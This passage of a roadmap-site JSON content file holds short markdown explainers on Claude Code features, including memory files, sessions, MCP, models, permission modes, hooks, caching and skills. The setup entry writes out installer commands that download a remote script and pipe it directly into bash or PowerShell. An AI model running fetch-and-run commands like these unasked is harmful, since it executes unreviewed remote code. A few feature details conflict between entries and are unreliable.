    "path": "src/data/roadmaps/claude-code/content/locations@Ho_DTKqMZnx_nlxjWfrW2.md",
    "content": "# Locations of CLAUDE.md\n\nClaude Code manages instructions through a hierarchical memory system that layers context based on the directory structure of your project. At the start of every session, Claude recursively searches from your current working directory up to the root, automatically loading global preferences from `~/.claude/CLAUDE.md` and shared team standards from the project root's `CLAUDE.md`. Claude also supports progressive disclosure via subdirectory [CLAUDE.md](http://CLAUDE.md) files.\n\nVisit the following resources to learn more:\n\n- [@official@Write an effective CLAUDE.md](https://code.claude.com/docs/en/best-practices)\n- [@official@Determine memory type](https://code.claude.com/docs/en/memory#determine-memory-type)\n- [@article@The Complete Guide to CLAUDE.md](https://www.builder.io/blog/claude-md-guide)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/manage-context@8fXu3OX3xfwr3NTAIHU0z.md",
    "content": "# Manage Context\n\nActive management of the context window is the single most effective way to ensure reliable model performance and predictable operational costs, as Claude Code is billed based on the total number of tokens processed in each turn. Because the tool re-reads the entire conversation history with every new message to maintain state, unmanaged sessions can quickly balloon in size, leading to \"context rot\" where the model loses track of early instructions or struggles with \"lost-in-the-middle\" accuracy degradation.\n\nVisit the following resources to learn more:\n\n- [@official@Manage costs effectively](https://code.claude.com/docs/en/costs#reduce-token-usage)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/manage-sessions@rlj-GMcqgdKM5_7rs7yz9.md",
    "content": "# Manage Sessions\n\nClaude Code manages sessions through a persistent, local architecture where every interaction is stored in a unique session file, allowing you to resume work using terminal flags like `claude --continue` (for the most recent thread) or `claude --resume` (to open an interactive picker of past conversations). While each new session initializes with a fresh context window to optimize token usage and avoid irrelevance, Claude automatically snapshots affected files before any modification, enabling you to use the `/rewind` command to revert both code and conversation history to a previous \"checkpoint.\"\n\nVisit the following resources to learn more:\n\n- [@official@Work with sessions](https://code.claude.com/docs/en/how-claude-code-works#work-with-sessions)\n- [@article@Claude Code Session Management | Developing with AI Tools | Steve Kinney](https://stevekinney.com/courses/ai-development/claude-code-session-management)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/mcp@8Nd9CdGb1_Jl4YLBvew4z.md",
    "content": "# MCP\n\nThe Model Context Protocol (MCP) is an open-source standard that enables a Claude Code to connect securely to a vast ecosystem of external tools, databases, and third-party services. By acting like a \"universal connector\" for AI, MCP allows you to extend the Claude Code's core capabilities beyond simple file editing, giving it the power to interact with APIs like GitHub to manage pull requests, query live databases such as PostgreSQL or Snowflake, and much more.\n\nVisit the following resources to learn more:\n\n- [@course@Introduction to Model Context Protocol](https://anthropic.skilljar.com/introduction-to-model-context-protocol)\n- [@official@Connect Claude Code to tools via MCP - Claude Code Docs](https://code.claude.com/docs/en/mcp)\n- [@article@What is the Model Context Protocol (MCP)?](https://modelcontextprotocol.io/docs/getting-started/intro)\n- [@video@Claude Code Tutorial #7 - MCP Servers](https://www.youtube.com/watch?v=X7lgIa6guKg)\n- [@video@Claude Code MCP: How to Add MCP Servers (Complete Guide)](https://www.youtube.com/watch?v=DfWHX7kszQI)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/mcp@Lyl4h5cvdY1YVpzBo_LEB.md",
    "content": "# /mcp\n\nThe `/mcp` command is the integration hub for the Model Context Protocol, an open standard that connects Claude Code to external data sources and third-party tools. While you use the terminal command `claude mcp add` to install a new server, the `/mcp` slash command is used inside the session to manage those connections, authorize permissions, and view the specific capabilities (tools) available to the AI.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commands](https://code.claude.com/docs/en/interactive-mode)\n- [@official@Connect Claude Code to tools via MCP](https://code.claude.com/docs/en/mcp)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/memory@l7ECu0Q5bW9_OgVH7Ih4S.md",
    "content": "# /memory\n\nThe `/memory` command is a knowledge management tool used to create and manage persistent information that survives across different Claude Code sessions. Unlike the `/compact` command, which only optimizes the current conversation's temporary window, `/memory` interacts with permanent storage—primarily your project's [CLAUDE.md](http://CLAUDE.md) file and a hidden auto-memory directory. When you run this command, it typically opens your system's default text editor, allowing you to manually refine the coding standards, architectural decisions, and project-specific patterns that Claude should \"remember\" every time you launch the tool in that directory.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commands](https://code.claude.com/docs/en/interactive-mode)\n- [@official@Manage Claude's memory](https://code.claude.com/docs/en/memory#directly-edit-memories-with-memory)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/model-configuration@Tq83zphFUA1J8spMEyN8H.md",
    "content": "# Model Configuration\n\nClaude Code offers a highly flexible model configuration hierarchy that allows you to balance speed, cost, and reasoning depth across different tasks. You can switch models instantly during an active session using the `/model` command, specify a model at startup with the `--model` flag, or set a permanent default in your `~/.claude/settings.json` file using the `model` key. The system supports semantic aliases like sonnet (default for daily coding), haiku (fast and efficient), and opus (high-reasoning for complex architecture), as well as a specialized `opusplan` mode that intelligently uses Opus for strategic planning before automatically switching to Sonnet for the actual code implementation. Furthermore, you can fine-tune performance on supported models by adjusting the `effortLevel` (low, medium, or high), which controls how much \"thinking time\" Claude allocates to solving difficult logic puzzles versus generating rapid responses.\n\nVisit the following resources to learn more:\n\n- [@official@Model configuration](https://code.claude.com/docs/en/model-config#model-configuration)\n- [@article@A complete guide to model configuration in Claude Code](https://www.eesel.ai/blog/model-configuration-claude-code)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/model@NMBBRdBWwCphjwQuFAp9W.md",
    "content": "# /model\n\nThe `/model` command is a switcher utility that allows you to change which large language model (LLM) is powering your current session without restarting the application. This is particularly useful for cost-performance optimization; you can use a high-intelligence model like Claude Sonnet for complex architectural planning and then switch to a faster, cheaper model like Claude Haiku for repetitive tasks like writing boilerplate code or unit tests.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commands](https://code.claude.com/docs/en/interactive-mode)\n- [@official@Model configuration](https://code.claude.com/docs/en/model-config#setting-your-model)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/models@RHWW3QOFWRMqlaovGOLEO.md",
    "content": "# Claude Code Models\n\nClaude Code is powered by three distinct models—Opus, Sonnet, and Haiku— each optimized for a specific role within the development lifecycle. **Claude Opus** is the \"deep thinker\" and primary architect, used for complex reasoning, high-level system design, and surgical bug fixes in large codebases. **Claude Sonnet** serves as the versatile \"balanced builder,\" providing a high-speed middle ground for daily tasks like implementing feature logic, writing boilerplate, and managing state across multiple files. **Claude Haiku** is the \"fast-response specialist,\" designed for near-instant execution of lightweight tasks, such as generating rapid UI prototypes, drafting commit messages, or acting as parallel sub-agents to scan logs and run quick checks.\n\nVisit the following resources to learn more:\n\n- [@official@Models](https://code.claude.com/docs/en/how-claude-code-works#models)\n- [@official@Models overview](https://platform.claude.com/docs/en/about-claude/models/overview)\n- [@official@Choosing the right model](https://platform.claude.com/docs/en/about-claude/models/choosing-a-model)\n- [@article@A practical guide to Claude Code model selection](https://www.eesel.ai/blog/claude-code-model-selection)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/modes@gcZCpCWHvIo5Ox0vVkdgV.md",
    "content": "# Modes\n\nPermission modes are settings that control the level of autonomy the AI has when interacting with your computer. By default, the system operates in Default Mode, where it must ask for your approval before it edits any files or executes shell commands. You can cycle through other levels of authority, such as Accept-Edits Mode, which allows the AI to modify files automatically while still prompting you for terminal commands, or Plan Mode, which restricts the AI to read-only tools so it can research and outline a strategy without making any actual changes. For advanced workflows, specialized states like Delegate Mode exist to limit a \"lead\" agent to coordinating other sub-agents, while the high-risk Bypass-Permissions Mode removes all approval prompts entirely for use in secure, isolated environments.\n\nVisit the following resources to learn more:\n\n- [@official@Configure permissions](https://code.claude.com/docs/en/permissions)\n- [@article@A complete guide to Claude Code permissions](https://www.eesel.ai/blog/claude-code-permissions)\n- [@video@Claude Code Tutorial #4 - Tools & Permissions](https://www.youtube.com/watch?v=TU0ZcDFq0e0)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/opus@TWN08Vx7aBK-mvOSQuFfu.md",
    "content": "# Opus\n\nClaude Opus is the most advanced and capable large language model in the Claude family, designed specifically for high-level reasoning and complex problem-solving. It functions as a \"deep thinking\" engine that can handle vast amounts of information and follow intricate instructions with a high degree of accuracy and nuance.\n\nVisit the following resources to learn more:\n\n- [@official@Claude Opus 4.6 \\ Anthropic](https://www.anthropic.com/claude/opus)\n- [@official@What's new in Claude 4.6 - Claude API Docs](https://platform.claude.com/docs/en/about-claude/models/whats-new-claude-4-6)\n- [@video@Introducing Claude Opus 4.6](https://www.youtube.com/watch?v=dPn3GBI8lII)\n- [@video@Claude Opus 4.6: The Biggest AI Jump I've Covered--It's Not Close. (Here's What You Need to Know)](https://www.youtube.com/watch?v=JKk77rzOL34)\n- [@video@10 Things You Couldn’t Do Before Claude Opus 4.6](https://www.youtube.com/watch?v=C_MXaam7Hhw)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/opusplan@aHi-EWuBbn1xvK5osHOUM.md",
    "content": "# Opusplan\n\n`opusplan` is a specialized command alias for Claude Code that combines the high-level reasoning of the most advanced model with the speed and efficiency of a faster one to optimize complex development tasks. When you initiate a session using `claude opusplan`, the tool uses Claude Opus to analyze your request, explore the codebase, and draft a comprehensive technical strategy, ensuring that the initial logic and architectural decisions are as accurate as possible.\n\nVisit the following resources to learn more:\n\n- [@official@opusplan model setting](https://code.claude.com/docs/en/model-config#opusplan-model-setting)\n- [@video@Claude Code Opus Plan Mode // 1M Context // Testing ++](https://www.youtube.com/watch?v=I2aAkp7q_uY)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/output-styles@i3K2_8VcOGGSPdj1Jb4Im.md",
    "content": "# Output Styles\n\nClaude Code allows you to switch between different output styles to adapt the agent’s persona and verbosity to your specific needs, effectively modifying its core system prompt. Beyond the standard coding mode, you can use built-in styles like Explanatory, which provides educational insights into implementation choices, or Learning, a collaborative mode where Claude places `TODO(human)` markers to encourage hands-on contribution.\n\nVisit the following resources to learn more:\n\n- [@official@Output styles](https://code.claude.com/docs/en/output-styles#output-styles)\n- [@article@Share your Claude Code output styles](https://www.reddit.com/r/ClaudeAI/comments/1mqp4g4/share_your_claude_code_output_styles/)\n- [@article@A practical guide to output styles in Claude Code](https://www.eesel.ai/blog/output-styles-claude-code)\n- [@video@New Claude Code Output Styles Are HUGE](https://www.youtube.com/watch?v=IokDmpuXTrQ)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/permission-modes@y8VCGx-h97udP-dRzsSAI.md",
    "content": "# Permission Modes\n\nClaude Code features several permission modes that define the balance between autonomy and safety during your session, ranging from Plan mode, which restricts Claude to a read-only state for exploration and strategy without any tool execution, to BypassPermissions mode (often called \"YOLO mode\"), which grants the AI full autonomy to run any command or edit any file without interruption.\n\nVisit the following resources to learn more:\n\n- [@official@Permission modes](https://code.claude.com/docs/en/permissions#permission-modes)\n- [@article@A complete guide to Claude Code permissions](https://www.eesel.ai/blog/claude-code-permissions)\n- [@article@3 Things You Must Know About /permissions in Claude Code](https://wmedia.es/en/tips/claude-code-permissions-3-key-concepts)\n- [@article@Claude Code on Loop: The Ultimate YOLO Mode](https://mfyz.com/claude-code-on-loop-autonomous-ai-coding/)\n- [@video@Claude Code Tutorial #4 - Tools & Permissions](https://www.youtube.com/watch?v=TU0ZcDFq0e0)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/permissions@8rKpgtmO92EUFAKlWVuO5.md",
    "content": "# /permissions\n\nThe `/permissions` command is a security management interface that allows you to view and adjust the rules governing what Claude can and cannot do on your machine. By default, Claude Code operates with a \"human-in-the-loop\" philosophy, meaning it asks for your approval before performing any action that could affect your system—such as modifying a file or running a terminal command. The `/permissions` command allows you to grant \"permanent\" trust to specific tools or commands, reducing the number of interruptions during your workflow.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commands](https://code.claude.com/docs/en/interactive-mode)\n- [@official@Manage permissions](https://code.claude.com/docs/en/permissions)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/plan-mode@Dutj1C19nrbonQ7OpqBnv.md",
    "content": "# Plan Mode\n\nPlan Mode is a strictly read-only permission state that allows Claude to analyze your codebase, research dependencies, and draft a step-by-step implementation strategy without the risk of modifying any files or executing state-changing commands.\n\nVisit the following resources to learn more:\n\n- [@official@How to use Plan Mode](https://code.claude.com/docs/en/common-workflows#how-to-use-plan-mode)\n- [@official@Explore first, then plan, then code](https://code.claude.com/docs/en/best-practices#explore-first-then-plan-then-code)\n- [@article@What Actually Is Claude Code’s Plan Mode?](https://lucumr.pocoo.org/2025/12/17/what-is-plan-mode/)\n- [@article@Claude Code Plan Mode | Developing with AI Tools | Steve Kinney](https://stevekinney.com/courses/ai-development/claude-code-plan-mode)\n- [@video@I was an AI skeptic. Then I tried plan mode](https://www.youtube.com/watch?v=WNx-s-RxVxk&t=70s)\n- [@video@How I Use Claude Code Plan Mode: 3 Examples](https://www.youtube.com/watch?v=altX5elI-1k)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/plan@3ZYaw7kTiErPiLVwMf3J8.md",
    "content": "# /plan\n\nPlan Mode is a read-only environment that allows the AI to research, analyze, and outline a multi-step strategy for a task without making any actual changes to your files or executing state-altering commands. When you enter this mode—either by typing `/plan` or pressing `Shift+Tab`—the assistant focuses on gathering context and identifying dependencies to create a detailed implementation document. This serves as a safety gate where you can review and edit the proposed approach (using `Ctrl+G` to open the plan file) before giving the final approval to transition into an execution mode to apply the changes.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commands](https://code.claude.com/docs/en/interactive-mode)\n- [@official@Use Plan Mode for safe code analysis](https://code.claude.com/docs/en/common-workflows#use-plan-mode-for-safe-code-analysis)\n- [@article@What Actually Is Claude Code’s Plan Mode?](https://lucumr.pocoo.org/2025/12/17/what-is-plan-mode/)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/plugins@oV7YG_TnJ4ZyVVjqRwPkR.md",
    "content": "# Plugins\n\nClaude Code plugins are shareable packages that bundle multiple customizations, including slash commands, specialized agents, skills, hooks, and Model Context Protocol (MCP) servers, into a single installable unit. They serve as a standardized way to distribute complex AI workflows across different projects or within an engineering team, ensuring that every developer has access to the same tools and coding standards.\n\nVisit the following resources to learn more:\n\n- [@official@Discover and install prebuilt plugins through marketplaces - Claude Code Docs](https://code.claude.com/docs/en/discover-plugins)\n- [@official@Plugins](https://claude.com/plugins)\n- [@opensource@plugins](https://github.com/anthropics/claude-code/tree/main/plugins)\n- [@article@Claude Code Now Has SUPERPOWERS! (plugin)](https://www.youtube.com/watch?v=vfVQP2AbUHo)\n- [@article@Claude Code Plugins Just Changed My Workflow Forever](https://www.youtube.com/watch?v=-KusSduAP1A)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/plugins@wd9T37TIM_1JU4o_2Fb0h.md",
    "content": "# Plugins\n\nClaude Code plugins are shareable packages that bundle multiple customizations, including slash commands, specialized agents, skills, hooks, and Model Context Protocol (MCP) servers, into a single installable unit. They serve as a standardized way to distribute complex AI workflows across different projects or within an engineering team, ensuring that every developer has access to the same tools and coding standards.\n\nVisit the following resources to learn more:\n\n- [@official@Discover and install prebuilt plugins through marketplaces - Claude Code Docs](https://code.claude.com/docs/en/discover-plugins)\n- [@official@Plugins](https://claude.com/plugins)\n- [@opensource@plugins](https://github.com/anthropics/claude-code/tree/main/plugins)\n- [@video@Claude Code Now Has SUPERPOWERS! (plugin)](https://www.youtube.com/watch?v=vfVQP2AbUHo)\n- [@video@Claude Code Plugins Just Changed My Workflow Forever -](https://www.youtube.com/watch?v=-KusSduAP1A)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/posttooluse@TBrr5EscwLZu7cOJoWbPy.md",
    "content": "# PostToolUse\n\nThe `PostToolUse` hook is a reactive lifecycle event that triggers immediately after a tool (like Bash, Write, Edit, or a custom MCP tool) completes its execution. While the `PreToolUse` hook acts as a guard to block actions, the `PostToolUse` hook is designed for automation, cleanup, and quality control—ensuring that every action Claude takes adheres to your project's standards.\n\nVisit the following resources to learn more:\n\n- [@official@Hooks reference](https://code.claude.com/docs/en/hooks)\n- [@official@Automate workflows with hooks](https://code.claude.com/docs/en/hooks-guide)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/pretooluse@FWf5hyCRo9UQ2QPalLVYn.md",
    "content": "# PreToolUse\n\nThe `PreToolUse` hook is a validation gate that executes immediately after Claude decides to use a tool (like writing a file or running a shell command) but before that tool actually runs. It is primarily used for security, policy enforcement, and input sanitization, acting as a final check to ensure the AI's proposed action is safe and correct.\n\nVisit the following resources to learn more:\n\n- [@official@Hooks reference](https://code.claude.com/docs/en/hooks)\n- [@official@Automate workflows with hooks](https://code.claude.com/docs/en/hooks-guide)\n- [@article@Secure Your Claude Skills with Custom PreToolUse Hooks](https://egghead.io/secure-your-claude-skills-with-custom-pre-tool-use-hooks~dhqko)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/prompt-caching@Dam_IG339RrYZXjXq3T8_.md",
    "content": "# Prompt Caching\n\nClaude prompt caching is a feature that stores frequently used, long-context information (system prompts, large documents, codebase, examples) to speed up response times and significantly reduce API costs. It enables up to 90% cheaper and 85% faster processing by avoiding re-computation of consistent prompt prefixes, often using XML tags for structuring data.\n\nVisit the following resources to learn more:\n\n- [@official@Prompt caching](https://platform.claude.com/docs/en/build-with-claude/prompt-caching)\n- [@official@Prompt caching configuration](https://code.claude.com/docs/en/model-config#prompt-caching-configuration)\n- [@article@Unlocking Efficiency: A Practical Guide to Claude Prompt Caching](https://medium.com/@mcraddock/unlocking-efficiency-a-practical-guide-to-claude-prompt-caching-3185805c0eef)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/reduce-token-usage@Dam_IG339RrYZXjXq3T8_.md",
    "content": "# Prompt Caching\n\nPrompt caching in Claude Code is a performance-optimizing feature that stores the frequently used \"prefixes\" of your conversations—such as your entire codebase state, system instructions, and tool definitions—so they don't have to be reprocessed from scratch with every new message. In an agentic environment where Claude often re-reads your files multiple times to maintain context, caching acts as a \"checkpoint\" system: while the initial write to the cache carries a slight premium, every subsequent interaction that reuses that prefix receives a 90% discount on input tokens and up to an 85% reduction in latency. Claude Code handles this automatically by placing \"cache breakpoints\" at strategic points in the prompt (like after your CLAUDE.md and project structure), ensuring that even as your conversation grows, the \"static\" foundation of your project remains instantly accessible and cost-effective."
  },
  {
    "path": "src/data/roadmaps/claude-code/content/resume@0HKJlqhoSCMNKf1lRIEy1.md",
    "content": "# Resume Conversations\n\nTo resume a conversation in Claude Code, you can use the terminal command `claude --continue` (or `-c`) to instantly pick up the most recent session in your current directory, or `claude --resume` (or `-r`) to open an interactive session picker. This picker allows you to browse past conversations—complete with metadata like the Git branch, message count, and a preview of the task—and select one using your arrow keys and the Enter key. If you know a specific session ID, you can bypass the menu by running `claude --resume <session_id>`. Once inside a session, you can also use the `/resume` slash command to switch between conversations without exiting the tool. These features restore the full context of your work, including message history, tool results, and the exact state of your code, ensuring you never have to re-explain your project structure after an interruption.\n\nVisit the following resources to learn more:\n\n- [@official@Resume previous conversations](https://code.claude.com/docs/en/common-workflows#resume-previous-conversations)\n- [@official@Resume conversations](https://code.claude.com/docs/en/best-practices#resume-conversations)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/rewind@-K5K7yT97VRC7u0IOzJyT.md",
    "content": "# /rewind\n\nThe `/rewind` command is a history management tool that allows you to undo recent turns in your conversation. When executed, it removes the most recent prompt and response from the active context, effectively \"winding back\" the session to a previous state. This is particularly useful if the AI misunderstood a complex instruction or if a code generation task went in the wrong direction, as it allows you to re-issue the command with better clarity without the baggage of the failed attempt cluttering the model's memory or inflating your token usage.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commadns](https://code.claude.com/docs/en/interactive-mode)\n- [@official@Checkpointing](https://code.claude.com/docs/en/checkpointing)\n- [@article@Rewind Changes Instantly with Checkpoints](https://wmedia.es/en/tips/rewind-changes-instantly-with-checkpoints)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/rewind@cW0a112UVj2M3wBDA8UDj.md",
    "content": "# Rewind Conversations\n\nTo rewind a conversation in Claude Code, you can use the `/rewind` slash command or the `Esc + Esc` keyboard shortcut to open the interactive checkpoint menu. This feature leverages the tool's automatic snapshotting, which creates a restore point for every user prompt and file modification throughout your session.\n\nVisit the following resources to learn more:\n\n- [@official@Rewind and summarize](https://code.claude.com/docs/en/checkpointing#rewind-and-summarize)\n- [@official@Rewind with checkpoints](https://code.claude.com/docs/en/best-practices#rewind-with-checkpoints)\n- [@article@Claude Code Checkpoints: 5 Patterns for Disaster Recovery | Medium](https://alirezarezvani.medium.com/claude-code-rewind-5-patterns-after-a-3-hour-disaster-a9de9bce0372)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/scaling-claude@ip2bq52qRah-7db6dORO8.md",
    "content": "# Scaling Claude Code\n\nTo scale Claude Code for complex projects and distributed teams, you must move beyond simple chat interactions and embrace a multi-layered architectural approach that prioritizes context isolation and automated governance"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/security-best-practices@WVrC8-nf8xn1jckCHO3h4.md",
    "content": "# Security Best Practices\n\nSecurity is the most critical pillar of using Claude Code because giving an AI agent the ability to execute terminal commands and modify files creates a powerful \"intern with root access\" who is susceptible to prompt injection and data exfiltration.\n\nVisit the following resources to learn more:\n\n- [@official@Security](https://code.claude.com/docs/en/security#security)\n- [@official@Sandboxing](https://code.claude.com/docs/en/sandboxing)\n- [@official@Beyond permission prompts: making Claude Code more secure and autonomous](https://www.anthropic.com/engineering/claude-code-sandboxing)\n- [@article@A deep dive into security for Claude Code in 2025](https://www.eesel.ai/blog/security-claude-code)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/sessionend@x5U0F5WWAqnNCC8f-qjr7.md",
    "content": "# SessionEnd\n\nThe `SessionEnd` hook is a teardown lifecycle event that triggers when you exit Claude Code or terminate a session. While `SessionStart` is for preparation, `SessionEnd` is your dedicated window for cleanup, archiving, and final reporting. It ensures that your environment is left in a clean state and that any important session metrics are captured before the process fully closes.\n\nVisit the following resources to learn more:\n\n- [@official@Hooks reference](https://code.claude.com/docs/en/hooks)\n- [@official@Automate workflows with hooks](https://code.claude.com/docs/en/hooks-guide)\n- [@article@Claude Code Session Hooks: Make Every Session Start Smart (and End Clean)](https://medium.com/@CodeCoup/claude-code-session-hooks-make-every-session-start-smart-and-end-clean-e505e6914d45)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/sessionstart@cMGYb_X1UK8sWI6brFj9S.md",
    "content": "# SessionStart\n\nThe `SessionStart` hook is an initialization lifecycle event that triggers at the very beginning of a Claude Code interaction. Unlike other hooks that react to specific user prompts or file edits, `SessionStart` is designed to bootstrap your environment and inject high-priority context before the first prompt is even processed.\n\nVisit the following resources to learn more:\n\n- [@official@Hooks reference](https://code.claude.com/docs/en/hooks)\n- [@official@Automate workflows with hooks](https://code.claude.com/docs/en/hooks-guide)\n- [@article@Claude Code Session Hooks: Make Every Session Start Smart (and End Clean)](https://medium.com/@CodeCoup/claude-code-session-hooks-make-every-session-start-smart-and-end-clean-e505e6914d45)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/setting-up-claude@XApGUujmnvp2VYUyEj1Kc.md",
    "content": "# Setting up Claude Code\n\nTo set up Claude Code, you first install the CLI tool through your terminal using a single command tailored to your operating system. For macOS, Linux, or WSL, you run `curl -fsSL https://claude.ai/install.sh | bash`, while Windows users can use PowerShell to run `irm https://claude.ai/install.ps1 | iex`. Once the installation is complete, you navigate to any code project directory and type `claude`, which will trigger a one-time login process where you authenticate using your Claude account or an Anthropic Console API key. After logging in, the tool is ready to use immediately.\n\nVisit the following resources to learn more:\n\n- [@official@Getting started with Claude Code](https://code.claude.com/docs/en/quickstart)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/shifttab@gpg2cfEUUKI5J9FMxn5QD.md",
    "content": "# Shift+Tab\n\n`Shift+Tab` is a navigation shortcut that allows you to cycle through different permission modes to control how much autonomy the AI assistant has over your computer. These modes act as a security dial, ranging from Default Mode, where the assistant must ask for your approval before making any file edits or running terminal commands, to Auto-Accept Mode, which grants it the power to modify files automatically while still prompting for shell commands. Additionally, the cycle includes Plan Mode, a specialized read-only state that restricts the assistant to searching and analyzing your codebase without the ability to change any files or execute code. By toggling these modes on the fly, you can switch from a highly controlled \"safety-first\" workflow for critical system files to a high-speed, autonomous mode for repetitive tasks like styling or unit testing.\n\nVisit the following resources to learn more:\n\n- [@official@Interactive mode - Claude Code Docs](https://code.claude.com/docs/en/interactive-mode)\n- [@article@Claude Code Plan Mode | Developing with AI Tools | Steve Kinney](https://stevekinney.com/courses/ai-development/claude-code-plan-mode)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/skill-best-practices@5uIBv9rk7Wzc_bXny0B27.md",
    "content": "# Skill Best Practices\n\nWhen configuring Claude Code skills, the primary best practice is to optimize for discoverability and context efficiency by using precise YAML frontmatter and \"lazy loading.\" Your skill's `description` should act as a clear semantic trigger, using specific keywords that help Claude identify exactly when to activate the expert instructions without bloating the context window of every conversation. Structure the `SKILL.md` with a narrow, modular focus rather than creating a \"Swiss Army Knife\" skill.\n\nVisit the following resources to learn more:\n\n- [@official@Create Skills](https://code.claude.com/docs/en/best-practices#create-skills)\n- [@official@The Complete Guide to Building Skills for Claude](https://resources.anthropic.com/hubfs/The-Complete-Guide-to-Building-Skill-for-Claude.pdf)\n- [@article@A useful cheatsheet for understanding Claude Skills](https://www.reddit.com/r/ClaudeAI/comments/1qbpe91/a_useful_cheatsheet_for_understanding_claude/)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/skill-scope@5uIBv9rk7Wzc_bXny0B27.md",
    "content": "# Skill Best Practices\n\nWhen configuring Claude Code skills, the primary best practice is to optimize for discoverability and context efficiency by using precise YAML frontmatter and \"lazy loading.\" Your skill's `description` should act as a clear semantic trigger, using specific keywords that help Claude identify exactly when to activate the expert instructions without bloating the context window of every conversation. Structure the `SKILL.md` with a narrow, modular focus rather than creating a \"Swiss Army Knife\" skill; if a workflow has non-negotiable side effects, use `disable-model-invocation: true` to ensure it only runs when manually triggered via a slash command. Additionally, leverage argument placeholders (like `$ARGUMENTS`) to make your skills reusable across different files, and store them in the project’s `.claude/skills/` directory so they are version-controlled and shared with your team. Finally, keep skill instructions deterministic by providing step-by-step tool sequences, which ensures Claude follows your project’s \"golden path\" for complex tasks like deployments or security audits."
  },
  {
    "path": "src/data/roadmaps/claude-code/content/skills-for-mcp@U22jPxfQWbu7-54OcsqkV.md",
    "content": "# Skills for MCP\n\nSkills act as structured, reusable knowledge packages that dramatically improve how Claude interacts with MCP (Model Context Protocol) servers by giving it precise, context-aware instructions for specific tools and workflows. Rather than relying on Claude to infer how to use a given MCP server from scratch each time, skills provide curated guidance that helps Claude make smarter, more reliable decisions when invoking tools, chaining calls, and interpreting results.\n\nVisit the following resources to learn more:\n\n- [@official@The Complete Guide to Building Skills for Claude](https://resources.anthropic.com/hubfs/The-Complete-Guide-to-Building-Skill-for-Claude.pdf?hsLang=en)\n- [@opensource@Anthropic Skills Guide](https://github.com/darraghh1/my-claude-setup/blob/main/docs/research/anthropic-skills-guide.md)\n- [@article@Claude Skills Library](https://mcpservers.org/claude-skills)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/skills@OJIfG7DRO4jgQEcberkNx.md",
    "content": "# Skills\n\nIn Claude Code, Skills are self-contained folders of \"expert knowledge\" and repeatable workflows that Claude loads dynamically into its context only when the task requires it. Each skill is anchored by a `SKILL.md` file containing YAML frontmatter, which helps Claude identify the skill's purpose without bloating the context window, and a body of specific instructions\n\nVisit the following resources to learn more:\n\n- [@course@Agent Skills with Anthropic](https://www.deeplearning.ai/short-courses/agent-skills-with-anthropic/)\n- [@course@Introduction to agent skills](https://anthropic.skilljar.com/introduction-to-agent-skills)\n- [@official@Extend Claude with skills](https://code.claude.com/docs/en/skills#extend-claude-with-skills)\n- [@official@The Complete Guide to Building Skills for Claude](https://resources.anthropic.com/hubfs/The-Complete-Guide-to-Building-Skill-for-Claude.pdf?hsLang=en)\n- [@opensource@skill](https://github.com/anthropics/skills)\n- [@article@Claude Code Skills — Equipping Your Claude Code Agents with more Superpowers](https://medium.com/@ooi_yee_fei/claude-code-skills-superpowering-claude-code-agents-a42b44a58ae2)\n- [@video@Claude Code Skills & skills.sh - Crash Course](https://www.youtube.com/watch?v=rcRS8-7OgBo)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/skills@iVa6piQwdPHIDkSRX8OSy.md",
    "content": "# Skills\n\nClaude Code skills are modular packages of instructions, scripts, and assets that teach the AI assistant how to perform specific, repeatable workflows. Each skill is stored in a dedicated folder containing a mandatory [SKILL.md](http://SKILL.md) file, which uses YAML frontmatter to define its name and a description that the AI uses to automatically discover and load the skill when relevant.\n\nVisit the following resources to learn more:\n\n- [@course@Agent Skills with Anthropic](https://www.deeplearning.ai/short-courses/agent-skills-with-anthropic/)\n- [@official@Extend Claude with skills](https://code.claude.com/docs/en/skills)\n- [@official@The Complete Guide to Building Skills for Claude](https://resources.anthropic.com/hubfs/The-Complete-Guide-to-Building-Skill-for-Claude.pdf?hsLang=en)\n- [@opensource@skills](https://github.com/anthropics/skills)\n- [@article@Inside Claude Skills: Custom Modules That Extend Claude](https://www.datacamp.com/tutorial/claude-skills)\n- [@video@Claude Code Skills & skills.sh - Crash Course](https://www.youtube.com/watch?v=rcRS8-7OgBo)\n- [@video@Claude Code Skills are INSANE (and you’re not using them correctly) - YouTube](https://www.youtube.com/watch?v=thxXGxYIwUI)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/slash-commands@JeotqE91kV1n-YRoXN9gX.md",
